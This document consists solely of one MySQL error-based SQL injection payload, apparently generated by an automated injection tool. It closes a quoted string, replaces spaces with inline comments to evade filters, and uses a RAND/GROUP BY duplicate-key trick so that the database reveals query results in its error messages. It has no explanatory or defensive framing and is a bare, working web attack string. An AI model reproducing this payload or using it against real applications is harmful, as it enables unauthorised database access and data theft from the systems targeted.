1',(SELECT/**/10593/**/FROM/**/(SELECT/**/ROW(10593,7662)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(10593=10593,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/4707/**/UNION/**/SELECT/**/3944/**/UNION/**/SELECT/**/10351/**/UNION/**/SELECT/**/8658)a/**/GROUP/**/BY/**/x))s)-- -